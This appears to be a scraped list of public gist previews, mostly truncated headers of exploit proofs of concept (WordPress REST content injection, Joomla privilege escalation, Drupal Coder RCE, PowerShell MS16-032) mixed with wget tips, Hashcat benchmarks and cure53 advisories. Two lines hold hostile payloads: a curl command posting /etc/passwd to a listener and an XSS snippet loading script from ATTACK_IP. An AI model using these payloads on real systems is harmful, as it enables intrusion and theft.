leonjza

# 2017 - @leonjza
#
# Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC
# Full bug description: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html

# Usage example:
#
# List available posts:
#
# $ python inject.py http://localhost:8070/

Grebenschikov

<?php

/*
 * Author: Alexander Grebenschikov <me@package.su>
 * Versions: 3.4.4 through 3.6.3
 * Exploit type: Account Creation, Elevated Privileges
 * CVE Number: CVE-2016-8869, CVE-2016-8870
 * Fixed Date: 2016-October-25
 */

Dammmien

# POST a JSON file and redirect output to stdout
wget -q -O - --header="Content-Type:application/json" --post-file=foo.json http://127.0.0.1

# Download a complete website
wget -m -r -linf -k -p -q -E -e robots=off http://127.0.0.1

# But it may be sufficient
wget -mpk http://127.0.0.1

# Download all images of a website

Raz0r

<?php

# Drupal module Coder Remote Code Execution (SA-CONTRIB-2016-039)
# https://www.drupal.org/node/2765575
# by Raz0r (http://raz0r.name)

$cmd = "curl -XPOST http://localhost:4444 -d @/etc/passwd";
$host = "http://localhost:81/drupal-7.12/";

$a = array(

eyecatchup

Mr. Robot Season 2 Easter Egg Sites

1. Ransomware webpage

• Page Name: AdobeTracking.pageName = 'Mr. Robot : S2 Easter Egg Sites : Ransomware : Home';
• URL: http://i239.bxjyb2jvda.net/
• JS: http://i239.bxjyb2jvda.net/web_analytics.js
• Credit: https://0x41.no/mr-robot-s02e01-easter-egg/

On load, this page displays a countdown timer starting at 24:00:00. When time is over, the following "hidden" message is revealed:

benichmt1

function Invoke-MS16-032 {
<#
.SYNOPSIS
    
    PowerShell implementation of MS16-032. The exploit targets all vulnerable
    operating systems that support PowerShell v2+. Credit for the discovery of
    the bug and the logic to exploit it go to James Forshaw (@tiraniddo) and @Fuzzysec for the original PS script.
    Modifications by Mike Benich (@benichmt1).
    
    Targets:

epixoip

8x Nvidia GTX 1080 Hashcat Benchmarks

Product: Sagitta Brutalis 1080 (PN S3480-GTX-1080-2697-128)

Software: Hashcat v3.00-beta-145-g069634a, Nvidia driver 367.18

Accelerator: 8x Nvidia GTX 1080 Founders Edition

Highlights

MuhammetDilmac

/*
 * Author: Gökmen Güreşçi & Muhammet Dilmaç
 * Saldırı payloadı
 * <script>var script = document.createElement('script');script.src = "http://ATTACK_IP/attack.js";document.getElementsByTagName('head')[0].appendChild(script);</script>
 */

var request = new XMLHttpRequest();
var req = new XMLHttpRequest();
var id = '';
var boundary = Math.random().toString().substr(2);

cure53

WordPress SOME bug in plupload.flash.swf

1. Intro
2. Background
3. Affected Systems
4. Mitigation

Quick Overview

cure53

WordPress Flash XSS in flashmediaelement.swf

1. Intro
2. Background
3. Affected Systems
4. Mitigation

Quick Overview